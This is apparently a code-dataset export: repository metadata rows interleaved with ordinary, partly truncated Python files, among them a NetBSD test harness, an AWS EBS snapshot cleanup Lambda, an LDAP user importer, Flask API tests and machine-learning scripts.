... | 37.561983 | 189 | 0.60374 | 2,673 | 22,725 | 4.988777 | 0.140666 | 0.031496 | 0.029696 | 0.020622 | 0.351406 | 0.277315 | 0.229396 | 0.2033 | 0.179303 | 0.148706 | 0 | 0.010024 | 0.271287 | 22,725 | 604 | 190 | 37.624172 | 0.795229 | 0.052981 | 0 | 0.359316 | 0 | 0 | 0.065969 | 0.005443 | 0 | 0 | 0 | 0.001656 | 0.055133 | 0 | null | null | 0.007605 | 0.009506 | null | null | 0.007605 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd9b08662b0371253cd734386bb9a5108ab7a965 | 59,491 | py | Python | anita.py | utkarsh009/Bnita | 0f8ea0b389907f835685c572194b1eb5580a6286 | [
"BSD-3-Clause"
] | 2 | 2017-06-12T05:40:48.000Z | 2017-06-23T17:09:51.000Z | anita.py | utkarsh009/Bnita | 0f8ea0b389907f835685c572194b1eb5580a6286 | [
"BSD-3-Clause"
] | null | null | null | anita.py | utkarsh009/Bnita | 0f8ea0b389907f835685c572194b1eb5580a6286 | [
"BSD-3-Clause"
] | null | null | null | #
# This is the library part of Anita, the Automated NetBSD Installation
# and Test Application.
#
import os
import pexpect
import re
import string
import subprocess
import sys
import time
import urllib
import urlparse
__version__='1.40'
# Your preferred NetBSD FTP mirror site.
# This is used only by the obsolete co... | 34.933059 | 120 | 0.599351 | 8,166 | 59,491 | 4.270879 | 0.147196 | 0.019354 | 0.024515 | 0.016344 | 0.249971 | 0.184195 | 0.129803 | 0.09399 | 0.058808 | 0.046536 | 0 | 0.017858 | 0.272394 | 59,491 | 1,702 | 121 | 34.953584 | 0.787853 | 0.272898 | 0 | 0.290323 | 0 | 0.002688 | 0.166573 | 0.019173 | 0 | 0 | 0.000188 | 0 | 0.005376 | 0 | null | null | 0.00448 | 0.008065 | null | null | 0.014337 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dd9b53c1d51423e3d8a448dcde0235338b5a8f9d | 5,356 | py | Python | solitude/testing/context.py | incerto-crypto/solitude | 1b21a2ca4912da212d413322953ceb4ec2983c17 | [
"BSD-3-Clause"
] | 7 | 2019-03-25T21:48:42.000Z | 2022-02-25T08:21:35.000Z | solitude/testing/context.py | incerto-crypto/solitude | 1b21a2ca4912da212d413322953ceb4ec2983c17 | [
"BSD-3-Clause"
] | null | null | null | solitude/testing/context.py | incerto-crypto/solitude | 1b21a2ca4912da212d413322953ceb4ec2983c17 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2019, Solitude Developers
#
# This source code is licensed under the BSD-3-Clause license found in the
# COPYING file in the root directory of this source tree
from typing import Mapping, Union, Optional # noqa
import os
import shutil
import tempfile
from functools import wraps
from collections import... | 32.460606 | 92 | 0.668969 | 651 | 5,356 | 5.322581 | 0.265745 | 0.046176 | 0.055411 | 0.021934 | 0.033478 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001243 | 0.24888 | 5,356 | 164 | 93 | 32.658537 | 0.860055 | 0.243092 | 0 | 0.038462 | 0 | 0 | 0.016327 | 0 | 0 | 0 | 0 | 0 | 0.019231 | 1 | 0.173077 | false | 0 | 0.115385 | 0.105769 | 0.451923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
dd9c57daac230a88704ee45525c7ddcffe34b216 | 2,339 | py | Python | shrinkaddrspace/fix_preinit.py | vusec/midfat | 9eb8d3c5188c0c262ad5f5de84f9e26530e38a4c | [
"Apache-2.0"
] | 6 | 2017-06-02T00:16:57.000Z | 2018-12-08T20:49:19.000Z | shrinkaddrspace/fix_preinit.py | vusec/midfat | 9eb8d3c5188c0c262ad5f5de84f9e26530e38a4c | [
"Apache-2.0"
] | null | null | null | shrinkaddrspace/fix_preinit.py | vusec/midfat | 9eb8d3c5188c0c262ad5f5de84f9e26530e38a4c | [
"Apache-2.0"
] | 3 | 2019-05-12T08:52:48.000Z | 2019-08-08T11:17:52.000Z | #!/usr/bin/env python
import struct
from elftools.elf.elffile import ELFFile
def elf_get_preinit(elffile):
preinit_offset = None
preinit_funcs = tuple()
for sec in elffile.iter_sections():
if sec.name == '.preinit_array':
sz = sec['sh_size']
preinit_offset = sec['sh_offset... | 32.486111 | 80 | 0.607525 | 302 | 2,339 | 4.519868 | 0.317881 | 0.096703 | 0.032967 | 0.037363 | 0.257875 | 0.206593 | 0.090842 | 0.052747 | 0.052747 | 0 | 0 | 0.003014 | 0.290723 | 2,339 | 71 | 81 | 32.943662 | 0.819771 | 0.008551 | 0 | 0.09434 | 0 | 0 | 0.169111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.056604 | null | null | 0.09434 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dda150ca1f3fdf6e22fc599876192f67eb4fbf8e | 1,195 | py | Python | tests/main.py | caspervg/geontology | e5660629f57747d05cfe6e15721bca23039a672d | [
"MIT"
] | 1 | 2015-12-25T10:46:27.000Z | 2015-12-25T10:46:27.000Z | tests/main.py | caspervg/geontology | e5660629f57747d05cfe6e15721bca23039a672d | [
"MIT"
] | null | null | null | tests/main.py | caspervg/geontology | e5660629f57747d05cfe6e15721bca23039a672d | [
"MIT"
] | null | null | null | from rdflib import URIRef
from rdflib.namespace import DC, RDF, OWL, RDFS
from geontology import GeoOntology
ont = GeoOntology("geo_ontology.ttl", frmt='n3')
# print ont.serialize()
graph = ont.graph
print "InfoColumns"
for s, p, o in graph.triples(
(None, RDFS.subClassOf, URIRef('http://move.ugent.be/geod... | 29.146341 | 93 | 0.551464 | 171 | 1,195 | 3.625731 | 0.251462 | 0.058065 | 0.058065 | 0.058065 | 0.6 | 0.6 | 0.6 | 0.541935 | 0.541935 | 0.541935 | 0 | 0.00114 | 0.266109 | 1,195 | 41 | 94 | 29.146341 | 0.705815 | 0.017573 | 0 | 0.592593 | 0 | 0 | 0.242967 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06b3ddf241a1d83947506562980f958105dbb002 | 5,050 | py | Python | src/stdlib.py | tweakoz/zed64 | c0231444418999191182d53d9319bf7978422bfb | [
"CC-BY-3.0"
] | 4 | 2015-06-04T01:14:43.000Z | 2018-06-16T05:45:57.000Z | src/stdlib.py | tweakoz/zed64 | c0231444418999191182d53d9319bf7978422bfb | [
"CC-BY-3.0"
] | null | null | null | src/stdlib.py | tweakoz/zed64 | c0231444418999191182d53d9319bf7978422bfb | [
"CC-BY-3.0"
] | null | null | null | #######################################################################
##
## Zed64 MetroComputer
##
## Unless a module otherwise marked,
## Copyright 2014, Michael T. Mayers (michael@tweakoz.com
## Provided under the Creative Commons Attribution License 3.0
## Please see https://creativecommons.org/licenses/by/3.0/us/... | 24.278846 | 86 | 0.50198 | 559 | 5,050 | 4.44186 | 0.307692 | 0.03383 | 0.016915 | 0.031414 | 0.112364 | 0.091824 | 0.091824 | 0.048329 | 0 | 0 | 0 | 0.017931 | 0.282178 | 5,050 | 207 | 87 | 24.396135 | 0.667034 | 0.052277 | 0 | 0.090909 | 0 | 0 | 0.081504 | 0.01121 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.020979 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06bbd57d69031c72132de965a30424f3da29237c | 2,207 | py | Python | ebs-snapshot-manager.py | phanirajendra/aws-ebs-snapshots-lambda | 0464ec54de7e812163e33db73d1cb9d46c35c029 | [
"Apache-2.0"
] | null | null | null | ebs-snapshot-manager.py | phanirajendra/aws-ebs-snapshots-lambda | 0464ec54de7e812163e33db73d1cb9d46c35c029 | [
"Apache-2.0"
] | null | null | null | ebs-snapshot-manager.py | phanirajendra/aws-ebs-snapshots-lambda | 0464ec54de7e812163e33db73d1cb9d46c35c029 | [
"Apache-2.0"
] | 1 | 2020-05-17T14:45:51.000Z | 2020-05-17T14:45:51.000Z | import boto3
import re
import datetime
import time
ec = boto3.client('ec2')
iam = boto3.client('iam')
"""
This function looks at *all* snapshots that have the tags "Type:Automated" and
"DeleteOn" containing the current day formatted as YYYY-MM-DD. The function will
delete the if the todays date is > than the "DeleteO... | 34.484375 | 100 | 0.593113 | 265 | 2,207 | 4.822642 | 0.460377 | 0.065728 | 0.075117 | 0.026604 | 0.048513 | 0.048513 | 0 | 0 | 0 | 0 | 0 | 0.006345 | 0.285908 | 2,207 | 63 | 101 | 35.031746 | 0.804569 | 0.041232 | 0 | 0.052632 | 0 | 0 | 0.195255 | 0.01399 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.105263 | null | null | 0.131579 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06c29fb490c1f0aa4c9251b922a903b4e7ce1750 | 548 | py | Python | tests/create_file.py | stompsjo/RadClass | 3bce664fbc1ea48c067e035adb18cc064db5df4b | [
"BSD-3-Clause"
] | null | null | null | tests/create_file.py | stompsjo/RadClass | 3bce664fbc1ea48c067e035adb18cc064db5df4b | [
"BSD-3-Clause"
] | 2 | 2021-05-11T15:11:17.000Z | 2021-07-02T17:42:35.000Z | tests/create_file.py | stompsjo/RadClass | 3bce664fbc1ea48c067e035adb18cc064db5df4b | [
"BSD-3-Clause"
] | null | null | null | import h5py
def create_file(filename, datapath, labels, live, timestamps, spectra):
# Creating sample dataset
f = h5py.File(filename, "w")
# data structure for MUSE files
dset1 = f.create_dataset(datapath + labels['live'], (1000,))
dset2 = f.create_dataset(datapath + labels['timestamps'], (100... | 30.444444 | 71 | 0.642336 | 66 | 548 | 5.272727 | 0.469697 | 0.16092 | 0.12069 | 0.189655 | 0.241379 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051044 | 0.213504 | 548 | 18 | 72 | 30.444444 | 0.756381 | 0.189781 | 0 | 0 | 0 | 0 | 0.05 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06c565b07d3d63057b60da7cadb5483464d2b8ef | 250 | py | Python | tests/tushare_to_MongoDB.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | tests/tushare_to_MongoDB.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | tests/tushare_to_MongoDB.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | import OnePy as op
instrument = "000001"
ktype = "D"
start = "2017-01-01"
end = None
test = op.Tushare_to_MongoDB(database=instrument, collection=ktype)
test.data_to_db(code=instrument, start=start, end=end, ktype=ktype, autype="qfq", index=False)
| 25 | 94 | 0.748 | 39 | 250 | 4.692308 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063063 | 0.112 | 250 | 9 | 95 | 27.777778 | 0.761261 | 0 | 0 | 0 | 0 | 0 | 0.08 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06c71c090d4fa330c0d0b447373205ef201db5b3 | 1,836 | py | Python | costar_models/python/costar_models/datasets/h5f_generator.py | cpaxton/costar_plan | be5c12f9d0e9d7078e6a5c283d3be059e7f3d040 | [
"Apache-2.0"
] | 66 | 2018-10-31T04:58:53.000Z | 2022-03-17T02:32:25.000Z | costar_models/python/costar_models/datasets/h5f_generator.py | cpaxton/costar_plan | be5c12f9d0e9d7078e6a5c283d3be059e7f3d040 | [
"Apache-2.0"
] | 8 | 2018-10-23T21:19:25.000Z | 2018-12-03T02:08:41.000Z | costar_models/python/costar_models/datasets/h5f_generator.py | cpaxton/costar_plan | be5c12f9d0e9d7078e6a5c283d3be059e7f3d040 | [
"Apache-2.0"
] | 25 | 2018-10-19T00:54:17.000Z | 2021-10-10T08:28:15.000Z | from __future__ import print_function
import h5py as h5f
import numpy as np
import six
import os
from .npy_generator import NpzGeneratorDataset
from .image import *
class H5fGeneratorDataset(NpzGeneratorDataset):
'''
Placeholder class for use with the ctp training tool. This one generates
samples from an... | 30.098361 | 86 | 0.582789 | 230 | 1,836 | 4.504348 | 0.473913 | 0.046332 | 0.048263 | 0.043436 | 0.052124 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012245 | 0.332789 | 1,836 | 60 | 87 | 30.6 | 0.833469 | 0.23366 | 0 | 0.179487 | 0 | 0 | 0.073279 | 0 | 0 | 0 | 0 | 0.016667 | 0 | 1 | 0.102564 | false | 0 | 0.179487 | 0.025641 | 0.358974 | 0.076923 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06d23d367076f35c30b175f7a472c7335658ae54 | 389 | py | Python | setup.py | cprogrammer1994/python-depth-sort | 5399d6d0791eb897d0cac16d2e38b26041478a82 | [
"MIT"
] | null | null | null | setup.py | cprogrammer1994/python-depth-sort | 5399d6d0791eb897d0cac16d2e38b26041478a82 | [
"MIT"
] | null | null | null | setup.py | cprogrammer1994/python-depth-sort | 5399d6d0791eb897d0cac16d2e38b26041478a82 | [
"MIT"
] | null | null | null | import platform
from setuptools import Extension, setup
target = platform.system().lower()
extra_compile_args = []
if target.startswith('linux'):
extra_compile_args.append('-std=c++11')
ext = Extension(
name='depth_sort',
sources=['depth_sort.cpp'],
extra_compile_args=extra_compile_args,
)
setup(
... | 16.913043 | 43 | 0.691517 | 51 | 389 | 5.039216 | 0.568627 | 0.18677 | 0.249027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015291 | 0.159383 | 389 | 22 | 44 | 17.681818 | 0.770642 | 0 | 0 | 0.125 | 0 | 0 | 0.138817 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06d2f75b09d1b2bbd785ce87a1527c0fb7ae9040 | 12,133 | py | Python | src_RealData/FCN_Object.py | XYZsake/DRFNS | 73fc5683db5e9f860846e22c8c0daf73b7103082 | [
"MIT"
] | 42 | 2018-10-07T08:19:01.000Z | 2022-02-08T17:41:24.000Z | src_RealData/FCN_Object.py | XYZsake/DRFNS | 73fc5683db5e9f860846e22c8c0daf73b7103082 | [
"MIT"
] | 11 | 2018-12-22T00:15:46.000Z | 2021-12-03T10:29:32.000Z | src_RealData/FCN_Object.py | XYZsake/DRFNS | 73fc5683db5e9f860846e22c8c0daf73b7103082 | [
"MIT"
] | 14 | 2018-08-26T06:47:06.000Z | 2021-07-24T11:52:58.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import tensorflow as tf
import copy
from tf_image_segmentation.models.fcn_8s import FCN_8s
from tf_image_segmentation.utils.tf_records import read_tfrecord_and_decode_into_image_annotation_pair_tensors
from tf_image_segmentation.utils.training import get_valid_logits_and_l... | 45.784906 | 161 | 0.570675 | 1,396 | 12,133 | 4.690544 | 0.208453 | 0.025199 | 0.017104 | 0.021075 | 0.486103 | 0.399664 | 0.385767 | 0.355834 | 0.338729 | 0.330941 | 0 | 0.016555 | 0.337839 | 12,133 | 264 | 162 | 45.958333 | 0.798481 | 0.048545 | 0 | 0.283237 | 0 | 0 | 0.012008 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.075145 | null | null | 0.034682 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06d4487239efe1a625efc060f8606eba1b8fb684 | 3,410 | py | Python | tests/api_tests.py | muhozi/WeConnect | 46825d6ae27a7addbe8f7f2e298f5ee07cd9cf5f | [
"MIT"
] | 3 | 2018-04-07T07:39:19.000Z | 2018-04-13T14:15:26.000Z | tests/api_tests.py | muhozi/WeConnect | 46825d6ae27a7addbe8f7f2e298f5ee07cd9cf5f | [
"MIT"
] | 8 | 2018-03-01T21:11:05.000Z | 2022-03-21T22:16:43.000Z | tests/api_tests.py | muhozi/WeConnect | 46825d6ae27a7addbe8f7f2e298f5ee07cd9cf5f | [
"MIT"
] | 3 | 2018-04-24T03:34:44.000Z | 2018-07-19T09:53:08.000Z | """
Main test
"""
import unittest
import uuid
from api import APP
from flask import json
from api.models.user import User
from api.models.business import Business
from api.helpers import get_token
class MainTests(unittest.TestCase):
"""
Main test
"""
url_prefix = '/api/v1/'
def setUp(self... | 35.520833 | 79 | 0.550733 | 377 | 3,410 | 4.801061 | 0.286472 | 0.060773 | 0.077348 | 0.053039 | 0.252486 | 0.167403 | 0.138674 | 0.089503 | 0 | 0 | 0 | 0.006184 | 0.33607 | 3,410 | 95 | 80 | 35.894737 | 0.793286 | 0.143109 | 0 | 0.222222 | 0 | 0 | 0.172039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013889 | false | 0.111111 | 0.097222 | 0 | 0.138889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
06de4f84c6d45b4b9c062aad81f802376fdf7b81 | 9,076 | py | Python | lib/enthought/traits/ui/key_bindings.py | mattfoster/matplotlib | 0b47697b19b77226c633ec6a3d74a2199a153315 | [
"PSF-2.0",
"BSD-3-Clause"
] | 1 | 2016-05-08T18:33:12.000Z | 2016-05-08T18:33:12.000Z | lib/enthought/traits/ui/key_bindings.py | mattfoster/matplotlib | 0b47697b19b77226c633ec6a3d74a2199a153315 | [
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null | lib/enthought/traits/ui/key_bindings.py | mattfoster/matplotlib | 0b47697b19b77226c633ec6a3d74a2199a153315 | [
"PSF-2.0",
"BSD-3-Clause"
] | null | null | null | #-------------------------------------------------------------------------------
#
# Written by: David C. Morrill
#
# Date: 05/20/2005
#
# (c) Copyright 2005 by Enthought, Inc.
#
# Classes defined: KeyBinding, KeyBindings
#
#-------------------------------------------------------------------------------
""" Defines... | 42.213953 | 80 | 0.368114 | 627 | 9,076 | 5.216906 | 0.261563 | 0.041578 | 0.024457 | 0.02568 | 0.232956 | 0.202996 | 0.14919 | 0.111892 | 0.086212 | 0.061755 | 0 | 0.007519 | 0.281952 | 9,076 | 214 | 81 | 42.411215 | 0.494399 | 0.473226 | 0 | 0.094118 | 0 | 0 | 0.049732 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.094118 | false | 0 | 0.023529 | 0 | 0.317647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
06fbcffd6a9d16ac26a727dde7c14ddf62ce182c | 3,685 | py | Python | ldap_login/management/commands/importLDAPusers.py | knightsamar/change_agent | 53e8b6335f5f6856ae12dba6a509e4147c68a004 | [
"Apache-2.0"
] | null | null | null | ldap_login/management/commands/importLDAPusers.py | knightsamar/change_agent | 53e8b6335f5f6856ae12dba6a509e4147c68a004 | [
"Apache-2.0"
] | null | null | null | ldap_login/management/commands/importLDAPusers.py | knightsamar/change_agent | 53e8b6335f5f6856ae12dba6a509e4147c68a004 | [
"Apache-2.0"
] | null | null | null | from django.core.management.base import NoArgsCommand, CommandError;
from ldap_login.ldapUtils import ldapManager;
from ldap_login.models import user,group,Role;
from datetime import datetime;
import traceback;
class Command(NoArgsCommand):
"""Import LDAP users from Active Directory.
Uses the ldapUtils back... | 46.64557 | 131 | 0.536228 | 388 | 3,685 | 5.054124 | 0.430412 | 0.015298 | 0.019888 | 0.019378 | 0.134625 | 0.082611 | 0.082611 | 0.082611 | 0 | 0 | 0 | 0.007489 | 0.383989 | 3,685 | 78 | 132 | 47.24359 | 0.856388 | 0.135142 | 0 | 0.174603 | 0 | 0 | 0.140285 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.285714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6600b5f654aa204f83a56f1407440180c9d9fa01 | 8,744 | py | Python | sdk/python/pulumi_cloudflare/custom_ssl.py | vijayraavi/pulumi-cloudflare | ba61514d650fc7a5a2667147519de213c07344b8 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_cloudflare/custom_ssl.py | vijayraavi/pulumi-cloudflare | ba61514d650fc7a5a2667147519de213c07344b8 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_cloudflare/custom_ssl.py | vijayraavi/pulumi-cloudflare | ba61514d650fc7a5a2667147519de213c07344b8 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from . import utilities, tables
class CustomS... | 60.722222 | 440 | 0.688358 | 1,098 | 8,744 | 5.224954 | 0.192168 | 0.040788 | 0.034164 | 0.018128 | 0.649991 | 0.626286 | 0.613561 | 0.613561 | 0.601708 | 0.591424 | 0 | 0.000147 | 0.221638 | 8,744 | 143 | 441 | 61.146853 | 0.842786 | 0.426693 | 0 | 0.027397 | 1 | 0 | 0.15441 | 0.021978 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054795 | false | 0.013699 | 0.082192 | 0.027397 | 0.342466 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
660466e84335250fcffeb29f786f70f54055b5a4 | 874 | py | Python | docker/run.py | lvxiaojie111/2019NCCCU- | 5b2d2b3a6e70e5b447ccaecd02fbead4763db82d | [
"Apache-2.0"
] | 3 | 2020-10-18T02:16:37.000Z | 2020-10-18T02:30:03.000Z | docker/run.py | lvxiaojie111/2019NCCCU- | 5b2d2b3a6e70e5b447ccaecd02fbead4763db82d | [
"Apache-2.0"
] | null | null | null | docker/run.py | lvxiaojie111/2019NCCCU- | 5b2d2b3a6e70e5b447ccaecd02fbead4763db82d | [
"Apache-2.0"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
import numpy as np
import os
import pandas as pd
import testmodel
import imageio
if __name__ == "__main__":
#################### 不可修改区域开始 ######################
testpath = '/home/data/' #测试集路径。包含验证码图片文件
result_folder_path = '/code/result/submission.csv' ... | 32.37037 | 74 | 0.613272 | 100 | 874 | 5.17 | 0.61 | 0.069633 | 0.092843 | 0.10058 | 0.116054 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008276 | 0.170481 | 874 | 26 | 75 | 33.615385 | 0.704828 | 0.291762 | 0 | 0 | 0 | 0 | 0.146154 | 0.051923 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6608e0e22e04d214ade1044f1d502d28fa22890a | 5,488 | py | Python | src/object2.py | vmlaker/sherlock | 4827803400907cb892b73f74736b151463fcda27 | [
"MIT"
] | 62 | 2015-01-01T16:26:36.000Z | 2022-03-07T11:38:57.000Z | src/object2.py | vmlaker/sherlock | 4827803400907cb892b73f74736b151463fcda27 | [
"MIT"
] | null | null | null | src/object2.py | vmlaker/sherlock | 4827803400907cb892b73f74736b151463fcda27 | [
"MIT"
] | 13 | 2015-08-01T10:54:13.000Z | 2020-12-05T02:19:23.000Z | """Object detection pipeline."""
import multiprocessing
import datetime
import time
import sys
import cv2
import numpy as np
import socket
import sharedmem
import mpipe
import coils
import util
DEVICE = int(sys.argv[1])
WIDTH = int(sys.argv[2])
HEIGHT = int(sys.argv[3])
DURATION = float(sys.argv[4]) # In se... | 29.347594 | 81 | 0.622085 | 672 | 5,488 | 5.02381 | 0.349702 | 0.021327 | 0.021327 | 0.030806 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012315 | 0.274964 | 5,488 | 186 | 82 | 29.505376 | 0.83614 | 0.25492 | 0 | 0.14876 | 0 | 0 | 0.026031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.016529 | 0.090909 | null | null | 0.024793 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6611e568c85da823794769b3aacdd4d28bc257c0 | 265,414 | py | Python | stashboard/contrib/status_images.py | l1kw1d/stashboard | 3e4b18a8168c102d1e1d7f88fec22bcbfc530d23 | [
"MIT"
] | 761 | 2015-01-01T05:28:26.000Z | 2022-03-24T10:07:31.000Z | stashboard/contrib/status_images.py | l1kw1d/stashboard | 3e4b18a8168c102d1e1d7f88fec22bcbfc530d23 | [
"MIT"
] | 11 | 2015-02-05T23:43:47.000Z | 2019-01-10T13:43:42.000Z | stashboard/contrib/status_images.py | l1kw1d/stashboard | 3e4b18a8168c102d1e1d7f88fec22bcbfc530d23 | [
"MIT"
] | 226 | 2015-01-05T15:04:45.000Z | 2022-03-23T11:41:00.000Z | # Copyright (c) 2010 Twilio Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
